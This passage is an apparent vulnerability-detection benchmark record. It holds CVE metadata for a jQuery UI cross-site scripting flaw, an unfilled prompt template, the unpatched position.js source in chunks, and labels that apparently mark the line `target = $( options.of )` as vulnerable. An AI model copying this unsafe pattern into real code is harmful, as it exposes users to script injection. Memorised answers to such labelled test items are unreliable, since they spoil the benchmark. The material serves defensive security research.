"AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-10-26T15:15:10.460", "references": [{"source": "security-advisories@github.com", "tags": ["Release Notes", "Vendor Advisory"], "url": "https://blog.jqueryui.com/2021/10/jquery-ui-1-13-0-released/"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Vendor Advisory"], "url": "https://github.com/jquery/jquery-ui/commit/effa323f1505f2ce7a324e4f429fa9032c72f280"}, {"source": "security-advisories@github.com", "tags": ["Mitigation", "Patch", "Vendor Advisory"], "url": "https://github.com/jquery/jquery-ui/security/advisories/GHSA-gpqq-952q-5327"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HVKIOWSXL2RF2ULNAP7PHESYCFSZIJE3/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NXIUUBRVLA4E7G7MMIKCEN75YN7UFERW/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/O74SXYY7RGXREQDQUDQD4BPJ4QQTD2XQ/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SGSY236PYSFYIEBRGDERLA7OSY6D7XL4/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SNXA7XRKGINWSUIPIZ6ZBCTV6N3KSHES/"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://security.netapp.com/advisory/ntap-20211118-0004/"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.drupal.org/sa-core-2022-001"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.oracle.com/security-alerts/cpujul2022.html"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Release Notes", "Third Party Advisory"], "url": "https://www.tenable.com/security/tns-2022-09"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Secondary"}]}, "github_commit_url": "https://github.com/jquery/jquery-ui/commit/effa323f1505f2ce7a324e4f429fa9032c72f280"}, "type": "CWE-79"}
127
Determine whether the {function_name} code is vulnerable or not.
[ "/*!\n * jQuery UI Position @VERSION\n * http://jqueryui.com\n *\n * Copyright jQuery Foundation and other contributors\n * Released under the MIT license.\n * http://jquery.org/license\n *\n * http://api.jqueryui.com/position/\n */", "//>>label: Position\n//>>group: Core\n//>>description: Positions elements relative to other elements.\n//>>docs: http://api.jqueryui.com/position/\n//>>demos: http://jqueryui.com/position/", "( function( factory ) {\n\tif ( typeof define === \"function\" && define.amd ) {", "\t\t// AMD. Register as an anonymous module.\n\t\tdefine( [ \"jquery\", \"./version\" ], factory );\n\t} else {", "\t\t// Browser globals\n\t\tfactory( jQuery );\n\t}\n}( function( $ ) {\n( function() {\nvar cachedScrollbarWidth,\n\tmax = Math.max,\n\tabs = Math.abs,\n\trhorizontal = /left|center|right/,\n\trvertical = /top|center|bottom/,\n\troffset = /[\\+\\-]\\d+(\\.[\\d]+)?%?/,\n\trposition = /^\\w+/,\n\trpercent = /%$/,\n\t_position = $.fn.position;", "function getOffsets( offsets, width, height ) {\n\treturn [\n\t\tparseFloat( offsets[ 0 ] ) * ( rpercent.test( offsets[ 0 ] ) ? width / 100 : 1 ),\n\t\tparseFloat( offsets[ 1 ] ) * ( rpercent.test( offsets[ 1 ] ) ? height / 100 : 1 )\n\t];\n}", "function parseCss( element, property ) {\n\treturn parseInt( $.css( element, property ), 10 ) || 0;\n}", "function isWindow( obj ) {\n\treturn obj != null && obj === obj.window;\n}", "function getDimensions( elem ) {\n\tvar raw = elem[ 0 ];\n\tif ( raw.nodeType === 9 ) {\n\t\treturn {\n\t\t\twidth: elem.width(),\n\t\t\theight: elem.height(),\n\t\t\toffset: { top: 0, left: 0 }\n\t\t};\n\t}\n\tif ( isWindow( raw ) ) {\n\t\treturn {\n\t\t\twidth: elem.width(),\n\t\t\theight: elem.height(),\n\t\t\toffset: { top: elem.scrollTop(), left: elem.scrollLeft() }\n\t\t};\n\t}\n\tif ( raw.preventDefault ) {\n\t\treturn {\n\t\t\twidth: 0,\n\t\t\theight: 0,\n\t\t\toffset: { top: raw.pageY, left: raw.pageX }\n\t\t};\n\t}\n\treturn {\n\t\twidth: elem.outerWidth(),\n\t\theight: elem.outerHeight(),\n\t\toffset: elem.offset()\n\t};\n}", "$.position = {\n\tscrollbarWidth: function() {\n\t\tif ( cachedScrollbarWidth !== undefined ) {\n\t\t\treturn cachedScrollbarWidth;\n\t\t}\n\t\tvar w1, w2,\n\t\t\tdiv = $( \"<div style=\" +\n\t\t\t\t\"'display:block;position:absolute;width:200px;height:200px;overflow:hidden;'>\" +\n\t\t\t\t\"<div style='height:300px;width:auto;'></div></div>\" ),\n\t\t\tinnerDiv = div.children()[ 0 ];", "\t\t$( \"body\" ).append( div );\n\t\tw1 = innerDiv.offsetWidth;\n\t\tdiv.css( \"overflow\", \"scroll\" );", "\t\tw2 = innerDiv.offsetWidth;", "\t\tif ( w1 === w2 ) {\n\t\t\tw2 = div[ 0 ].clientWidth;\n\t\t}", "\t\tdiv.remove();", "\t\treturn ( cachedScrollbarWidth = w1 - w2 );\n\t},\n\tgetScrollInfo: function( within ) {\n\t\tvar overflowX = within.isWindow || within.isDocument ? \"\" :\n\t\t\t\twithin.element.css( \"overflow-x\" ),\n\t\t\toverflowY = within.isWindow || within.isDocument ? \"\" :\n\t\t\t\twithin.element.css( \"overflow-y\" ),\n\t\t\thasOverflowX = overflowX === \"scroll\" ||\n\t\t\t\t( overflowX === \"auto\" && within.width < within.element[ 0 ].scrollWidth ),\n\t\t\thasOverflowY = overflowY === \"scroll\" ||\n\t\t\t\t( overflowY === \"auto\" && within.height < within.element[ 0 ].scrollHeight );\n\t\treturn {\n\t\t\twidth: hasOverflowY ? $.position.scrollbarWidth() : 0,\n\t\t\theight: hasOverflowX ? $.position.scrollbarWidth() : 0\n\t\t};\n\t},\n\tgetWithinInfo: function( element ) {\n\t\tvar withinElement = $( element || window ),\n\t\t\tisElemWindow = isWindow( withinElement[ 0 ] ),\n\t\t\tisDocument = !!withinElement[ 0 ] && withinElement[ 0 ].nodeType === 9,\n\t\t\thasOffset = !isElemWindow && !isDocument;\n\t\treturn {\n\t\t\telement: withinElement,\n\t\t\tisWindow: isElemWindow,\n\t\t\tisDocument: isDocument,\n\t\t\toffset: hasOffset ? $( element ).offset() : { left: 0, top: 0 },\n\t\t\tscrollLeft: withinElement.scrollLeft(),\n\t\t\tscrollTop: withinElement.scrollTop(),\n\t\t\twidth: withinElement.outerWidth(),\n\t\t\theight: withinElement.outerHeight()\n\t\t};\n\t}\n};", "$.fn.position = function( options ) {\n\tif ( !options || !options.of ) {\n\t\treturn _position.apply( this, arguments );\n\t}", "\t// Make a copy, we don't want to modify arguments\n\toptions = $.extend( {}, options );", "\tvar atOffset, targetWidth, targetHeight, targetOffset, basePosition, dimensions,", "\t\ttarget = $( options.of ),", "\t\twithin = $.position.getWithinInfo( options.within ),\n\t\tscrollInfo = $.position.getScrollInfo( within ),\n\t\tcollision = ( options.collision || \"flip\" ).split( \" \" ),\n\t\toffsets = {};", "\tdimensions = getDimensions( target );\n\tif ( target[ 0 ].preventDefault ) {", "\t\t// Force left top to allow flipping\n\t\toptions.at = \"left top\";\n\t}\n\ttargetWidth = dimensions.width;\n\ttargetHeight = dimensions.height;\n\ttargetOffset = dimensions.offset;", "\t// Clone to reuse original targetOffset later\n\tbasePosition = $.extend( {}, targetOffset );", "\t// Force my and at to have valid horizontal and vertical positions\n\t// if a value is missing or invalid, it will be converted to center\n\t$.each( [ \"my\", \"at\" ], function() {\n\t\tvar pos = ( options[ this ] || \"\" ).split( \" \" ),\n\t\t\thorizontalOffset,\n\t\t\tverticalOffset;", "\t\tif ( pos.length === 1 ) {\n\t\t\tpos = rhorizontal.test( pos[ 0 ] ) ?\n\t\t\t\tpos.concat( [ \"center\" ] ) :\n\t\t\t\trvertical.test( pos[ 0 ] ) ?\n\t\t\t\t\t[ \"center\" ].concat( pos ) :\n\t\t\t\t\t[ \"center\", \"center\" ];\n\t\t}\n\t\tpos[ 0 ] = rhorizontal.test( pos[ 0 ] ) ? pos[ 0 ] : \"center\";\n\t\tpos[ 1 ] = rvertical.test( pos[ 1 ] ) ? pos[ 1 ] : \"center\";", "\t\t// Calculate offsets\n\t\thorizontalOffset = roffset.exec( pos[ 0 ] );\n\t\tverticalOffset = roffset.exec( pos[ 1 ] );\n\t\toffsets[ this ] = [\n\t\t\thorizontalOffset ? horizontalOffset[ 0 ] : 0,\n\t\t\tverticalOffset ? verticalOffset[ 0 ] : 0\n\t\t];", "\t\t// Reduce to just the positions without the offsets\n\t\toptions[ this ] = [\n\t\t\trposition.exec( pos[ 0 ] )[ 0 ],\n\t\t\trposition.exec( pos[ 1 ] )[ 0 ]\n\t\t];\n\t} );", "\t// Normalize collision option\n\tif ( collision.length === 1 ) {\n\t\tcollision[ 1 ] = collision[ 0 ];\n\t}", "\tif ( options.at[ 0 ] === \"right\" ) {\n\t\tbasePosition.left += targetWidth;\n\t} else if ( options.at[ 0 ] === \"center\" ) {\n\t\tbasePosition.left += targetWidth / 2;\n\t}", "\tif ( options.at[ 1 ] === \"bottom\" ) {\n\t\tbasePosition.top += targetHeight;\n\t} else if ( options.at[ 1 ] === \"center\" ) {\n\t\tbasePosition.top += targetHeight / 2;\n\t}", "\tatOffset = getOffsets( offsets.at, targetWidth, targetHeight );\n\tbasePosition.left += atOffset[ 0 ];\n\tbasePosition.top += atOffset[ 1 ];", "\treturn this.each( function() {\n\t\tvar collisionPosition, using,\n\t\t\telem = $( this ),\n\t\t\telemWidth = elem.outerWidth(),\n\t\t\telemHeight = elem.outerHeight(),\n\t\t\tmarginLeft = parseCss( this, \"marginLeft\" ),\n\t\t\tmarginTop = parseCss( this, \"marginTop\" ),\n\t\t\tcollisionWidth = elemWidth + marginLeft + parseCss( this, \"marginRight\" ) +\n\t\t\t\tscrollInfo.width,\n\t\t\tcollisionHeight = elemHeight + marginTop + parseCss( this, \"marginBottom\" ) +\n\t\t\t\tscrollInfo.height,\n\t\t\tposition = $.extend( {}, basePosition ),\n\t\t\tmyOffset = getOffsets( offsets.my, elem.outerWidth(), elem.outerHeight() );", "\t\tif ( options.my[ 0 ] === \"right\" ) {\n\t\t\tposition.left -= elemWidth;\n\t\t} else if ( options.my[ 0 ] === \"center\" ) {\n\t\t\tposition.left -= elemWidth / 2;\n\t\t}", "\t\tif ( options.my[ 1 ] === \"bottom\" ) {\n\t\t\tposition.top -= elemHeight;\n\t\t} else if ( options.my[ 1 ] === \"center\" ) {\n\t\t\tposition.top -= elemHeight / 2;\n\t\t}", "\t\tposition.left += myOffset[ 0 ];\n\t\tposition.top += myOffset[ 1 ];", "\t\tcollisionPosition = {\n\t\t\tmarginLeft: marginLeft,\n\t\t\tmarginTop: marginTop\n\t\t};", "\t\t$.each( [ \"left\", \"top\" ], function( i, dir ) {\n\t\t\tif ( $.ui.position[ collision[ i ] ] ) {\n\t\t\t\t$.ui.position[ collision[ i ] ][ dir ]( position, {\n\t\t\t\t\ttargetWidth: targetWidth,\n\t\t\t\t\ttargetHeight: targetHeight,\n\t\t\t\t\telemWidth: elemWidth,\n\t\t\t\t\telemHeight: elemHeight,\n\t\t\t\t\tcollisionPosition: collisionPosition,\n\t\t\t\t\tcollisionWidth: collisionWidth,\n\t\t\t\t\tcollisionHeight: collisionHeight,\n\t\t\t\t\toffset: [ atOffset[ 0 ] + myOffset[ 0 ], atOffset [ 1 ] + myOffset[ 1 ] ],\n\t\t\t\t\tmy: options.my,\n\t\t\t\t\tat: options.at,\n\t\t\t\t\twithin: within,\n\t\t\t\t\telem: elem\n\t\t\t\t} );\n\t\t\t}\n\t\t} );", "\t\tif ( options.using ) {", "\t\t\t// Adds feedback as second argument to using callback, if present\n\t\t\tusing = function( props ) {\n\t\t\t\tvar left = targetOffset.left - position.left,\n\t\t\t\t\tright = left + targetWidth - elemWidth,\n\t\t\t\t\ttop = targetOffset.top - position.top,\n\t\t\t\t\tbottom = top + targetHeight - elemHeight,\n\t\t\t\t\tfeedback = {\n\t\t\t\t\t\ttarget: {\n\t\t\t\t\t\t\telement: target,\n\t\t\t\t\t\t\tleft: targetOffset.left,\n\t\t\t\t\t\t\ttop: targetOffset.top,\n\t\t\t\t\t\t\twidth: targetWidth,\n\t\t\t\t\t\t\theight: targetHeight\n\t\t\t\t\t\t},\n\t\t\t\t\t\telement: {\n\t\t\t\t\t\t\telement: elem,\n\t\t\t\t\t\t\tleft: position.left,\n\t\t\t\t\t\t\ttop: position.top,\n\t\t\t\t\t\t\twidth: elemWidth,\n\t\t\t\t\t\t\theight: elemHeight\n\t\t\t\t\t\t},\n\t\t\t\t\t\thorizontal: right < 0 ? \"left\" : left > 0 ? \"right\" : \"center\",\n\t\t\t\t\t\tvertical: bottom < 0 ? \"top\" : top > 0 ? \"bottom\" : \"middle\"\n\t\t\t\t\t};\n\t\t\t\tif ( targetWidth < elemWidth && abs( left + right ) < targetWidth ) {\n\t\t\t\t\tfeedback.horizontal = \"center\";\n\t\t\t\t}\n\t\t\t\tif ( targetHeight < elemHeight && abs( top + bottom ) < targetHeight ) {\n\t\t\t\t\tfeedback.vertical = \"middle\";\n\t\t\t\t}\n\t\t\t\tif ( max( abs( left ), abs( right ) ) > max( abs( top ), abs( bottom ) ) ) {\n\t\t\t\t\tfeedback.important = \"horizontal\";\n\t\t\t\t} else {\n\t\t\t\t\tfeedback.important = \"vertical\";\n\t\t\t\t}\n\t\t\t\toptions.using.call( this, props, feedback );\n\t\t\t};\n\t\t}", "\t\telem.offset( $.extend( position, { using: using } ) );\n\t} );\n};", "$.ui.position = {\n\tfit: {\n\t\tleft: function( position, data ) {\n\t\t\tvar within = data.within,\n\t\t\t\twithinOffset = within.isWindow ? within.scrollLeft : within.offset.left,\n\t\t\t\touterWidth = within.width,\n\t\t\t\tcollisionPosLeft = position.left - data.collisionPosition.marginLeft,\n\t\t\t\toverLeft = withinOffset - collisionPosLeft,\n\t\t\t\toverRight = collisionPosLeft + data.collisionWidth - outerWidth - withinOffset,\n\t\t\t\tnewOverRight;", "\t\t\t// Element is wider than within\n\t\t\tif ( data.collisionWidth > outerWidth ) {", "\t\t\t\t// Element is initially over the left side of within\n\t\t\t\tif ( overLeft > 0 && overRight <= 0 ) {\n\t\t\t\t\tnewOverRight = position.left + overLeft + data.collisionWidth - outerWidth -\n\t\t\t\t\t\twithinOffset;\n\t\t\t\t\tposition.left += overLeft - newOverRight;", "\t\t\t\t// Element is initially over right side of within\n\t\t\t\t} else if ( overRight > 0 && overLeft <= 0 ) {\n\t\t\t\t\tposition.left = withinOffset;", "\t\t\t\t// Element is initially over both left and right sides of within\n\t\t\t\t} else {\n\t\t\t\t\tif ( overLeft > overRight ) {\n\t\t\t\t\t\tposition.left = withinOffset + outerWidth - data.collisionWidth;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tposition.left = withinOffset;\n\t\t\t\t\t}\n\t\t\t\t}", "\t\t\t// Too far left -> align with left edge\n\t\t\t} else if ( overLeft > 0 ) {\n\t\t\t\tposition.left += overLeft;", "\t\t\t// Too far right -> align with right edge\n\t\t\t} else if ( overRight > 0 ) {\n\t\t\t\tposition.left -= overRight;", "\t\t\t// Adjust based on position and margin\n\t\t\t} else {\n\t\t\t\tposition.left = max( position.left - collisionPosLeft, position.left );\n\t\t\t}\n\t\t},\n\t\ttop: function( position, data ) {\n\t\t\tvar within = data.within,\n\t\t\t\twithinOffset = within.isWindow ? within.scrollTop : within.offset.top,\n\t\t\t\touterHeight = data.within.height,\n\t\t\t\tcollisionPosTop = position.top - data.collisionPosition.marginTop,\n\t\t\t\toverTop = withinOffset - collisionPosTop,\n\t\t\t\toverBottom = collisionPosTop + data.collisionHeight - outerHeight - withinOffset,\n\t\t\t\tnewOverBottom;", "\t\t\t// Element is taller than within\n\t\t\tif ( data.collisionHeight > outerHeight ) {", "\t\t\t\t// Element is initially over the top of within\n\t\t\t\tif ( overTop > 0 && overBottom <= 0 ) {\n\t\t\t\t\tnewOverBottom = position.top + overTop + data.collisionHeight - outerHeight -\n\t\t\t\t\t\twithinOffset;\n\t\t\t\t\tposition.top += overTop - newOverBottom;", "\t\t\t\t// Element is initially over bottom of within\n\t\t\t\t} else if ( overBottom > 0 && overTop <= 0 ) {\n\t\t\t\t\tposition.top = withinOffset;", "\t\t\t\t// Element is initially over both top and bottom of within\n\t\t\t\t} else {\n\t\t\t\t\tif ( overTop > overBottom ) {\n\t\t\t\t\t\tposition.top = withinOffset + outerHeight - data.collisionHeight;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tposition.top = withinOffset;\n\t\t\t\t\t}\n\t\t\t\t}", "\t\t\t// Too far up -> align with top\n\t\t\t} else if ( overTop > 0 ) {\n\t\t\t\tposition.top += overTop;", "\t\t\t// Too far down -> align with bottom edge\n\t\t\t} else if ( overBottom > 0 ) {\n\t\t\t\tposition.top -= overBottom;", "\t\t\t// Adjust based on position and margin\n\t\t\t} else {\n\t\t\t\tposition.top = max( position.top - collisionPosTop, position.top );\n\t\t\t}\n\t\t}\n\t},\n\tflip: {\n\t\tleft: function( position, data ) {\n\t\t\tvar within = data.within,\n\t\t\t\twithinOffset = within.offset.left + within.scrollLeft,\n\t\t\t\touterWidth = within.width,\n\t\t\t\toffsetLeft = within.isWindow ? within.scrollLeft : within.offset.left,\n\t\t\t\tcollisionPosLeft = position.left - data.collisionPosition.marginLeft,\n\t\t\t\toverLeft = collisionPosLeft - offsetLeft,\n\t\t\t\toverRight = collisionPosLeft + data.collisionWidth - outerWidth - offsetLeft,\n\t\t\t\tmyOffset = data.my[ 0 ] === \"left\" ?\n\t\t\t\t\t-data.elemWidth :\n\t\t\t\t\tdata.my[ 0 ] === \"right\" ?\n\t\t\t\t\t\tdata.elemWidth :\n\t\t\t\t\t\t0,\n\t\t\t\tatOffset = data.at[ 0 ] === \"left\" ?\n\t\t\t\t\tdata.targetWidth :\n\t\t\t\t\tdata.at[ 0 ] === \"right\" ?\n\t\t\t\t\t\t-data.targetWidth :\n\t\t\t\t\t\t0,\n\t\t\t\toffset = -2 * data.offset[ 0 ],\n\t\t\t\tnewOverRight,\n\t\t\t\tnewOverLeft;", "\t\t\tif ( overLeft < 0 ) {\n\t\t\t\tnewOverRight = position.left + myOffset + atOffset + offset + data.collisionWidth -\n\t\t\t\t\touterWidth - withinOffset;\n\t\t\t\tif ( newOverRight < 0 || newOverRight < abs( overLeft ) ) {\n\t\t\t\t\tposition.left += myOffset + atOffset + offset;\n\t\t\t\t}\n\t\t\t} else if ( overRight > 0 ) {\n\t\t\t\tnewOverLeft = position.left - data.collisionPosition.marginLeft + myOffset +\n\t\t\t\t\tatOffset + offset - offsetLeft;\n\t\t\t\tif ( newOverLeft > 0 || abs( newOverLeft ) < overRight ) {\n\t\t\t\t\tposition.left += myOffset + atOffset + offset;\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\ttop: function( position, data ) {\n\t\t\tvar within = data.within,\n\t\t\t\twithinOffset = within.offset.top + within.scrollTop,\n\t\t\t\touterHeight = within.height,\n\t\t\t\toffsetTop = within.isWindow ? within.scrollTop : within.offset.top,\n\t\t\t\tcollisionPosTop = position.top - data.collisionPosition.marginTop,\n\t\t\t\toverTop = collisionPosTop - offsetTop,\n\t\t\t\toverBottom = collisionPosTop + data.collisionHeight - outerHeight - offsetTop,\n\t\t\t\ttop = data.my[ 1 ] === \"top\",\n\t\t\t\tmyOffset = top ?\n\t\t\t\t\t-data.elemHeight :\n\t\t\t\t\tdata.my[ 1 ] === \"bottom\" ?\n\t\t\t\t\t\tdata.elemHeight :\n\t\t\t\t\t\t0,\n\t\t\t\tatOffset = data.at[ 1 ] === \"top\" ?\n\t\t\t\t\tdata.targetHeight :\n\t\t\t\t\tdata.at[ 1 ] === \"bottom\" ?\n\t\t\t\t\t\t-data.targetHeight :\n\t\t\t\t\t\t0,\n\t\t\t\toffset = -2 * data.offset[ 1 ],\n\t\t\t\tnewOverTop,\n\t\t\t\tnewOverBottom;\n\t\t\tif ( overTop < 0 ) {\n\t\t\t\tnewOverBottom = position.top + myOffset + atOffset + offset + data.collisionHeight -\n\t\t\t\t\touterHeight - withinOffset;\n\t\t\t\tif ( newOverBottom < 0 || newOverBottom < abs( overTop ) ) {\n\t\t\t\t\tposition.top += myOffset + atOffset + offset;\n\t\t\t\t}\n\t\t\t} else if ( overBottom > 0 ) {\n\t\t\t\tnewOverTop = position.top - data.collisionPosition.marginTop + myOffset + atOffset +\n\t\t\t\t\toffset - offsetTop;\n\t\t\t\tif ( newOverTop > 0 || abs( newOverTop ) < overBottom ) {\n\t\t\t\t\tposition.top += myOffset + atOffset + offset;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\tflipfit: {\n\t\tleft: function() {\n\t\t\t$.ui.position.flip.left.apply( this, arguments );\n\t\t\t$.ui.position.fit.left.apply( this, arguments );\n\t\t},\n\t\ttop: function() {\n\t\t\t$.ui.position.flip.top.apply( this, arguments );\n\t\t\t$.ui.position.fit.top.apply( this, arguments );\n\t\t}\n\t}\n};", "} )();", "return $.ui.position;", "} ) );" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [336, 152], "buggy_code_start_loc": [116, 151], "filenames": ["tests/unit/position/core.js", "ui/position.js"], "fixing_code_end_loc": [355, 157], "fixing_code_start_loc": [116, 151], "message": "jQuery-UI is the official jQuery user interface library. Prior to version 1.13.0, accepting the value of the `of` option of the `.position()` util from untrusted sources may execute untrusted code. The issue is fixed in jQuery UI 1.13.0. Any string value passed to the `of` option is now treated as a CSS selector. A workaround is to not accept the value of the `of` option from untrusted sources.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:jquery:jquery_ui:*:*:*:*:*:*:*:*", "matchCriteriaId": "CB6A3E8D-9C5E-48D3-B096-672A0FE3AE82", "versionEndExcluding": "1.13.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*", "matchCriteriaId": "E460AA51-FCDA-46B9-AE97-E6676AA5E194", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*", "matchCriteriaId": "A930E247-0B43-43CB-98FF-6CE7B8189835", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:fedoraproject:fedora:35:*:*:*:*:*:*:*", "matchCriteriaId": "80E516C0-98A4-4ADE-B69F-66A772E2BAAA", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:fedoraproject:fedora:36:*:*:*:*:*:*:*", "matchCriteriaId": "5C675112-476C-4D7C-BCB9-A2FB2D0BC9FD", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h300s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "6770B6C3-732E-4E22-BF1C-2D2FD610061C", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h300s:-:*:*:*:*:*:*:*", "matchCriteriaId": "9F9C8C20-42EB-4AB5-BD97-212DEB070C43", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h500s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FFF7106-ED78-49BA-9EC5-B889E3685D53", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h500s:-:*:*:*:*:*:*:*", "matchCriteriaId": "E63D8B0F-006E-4801-BF9D-1C001BBFB4F9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h700s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "56409CEC-5A1E-4450-AA42-641E459CC2AF", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h700s:-:*:*:*:*:*:*:*", "matchCriteriaId": "B06F4839-D16A-4A61-9BB5-55B13F41E47F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h300e_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "108A2215-50FB-4074-94CF-C130FA14566D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h300e:-:*:*:*:*:*:*:*", "matchCriteriaId": "7AFC73CE-ABB9-42D3-9A71-3F5BC5381E0E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h500e_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "32F0B6C0-F930-480D-962B-3F4EFDCC13C7", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h500e:-:*:*:*:*:*:*:*", "matchCriteriaId": "803BC414-B250-4E3A-A478-A3881340D6B8", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h700e_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "0FEB3337-BFDE-462A-908B-176F92053CEC", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h700e:-:*:*:*:*:*:*:*", 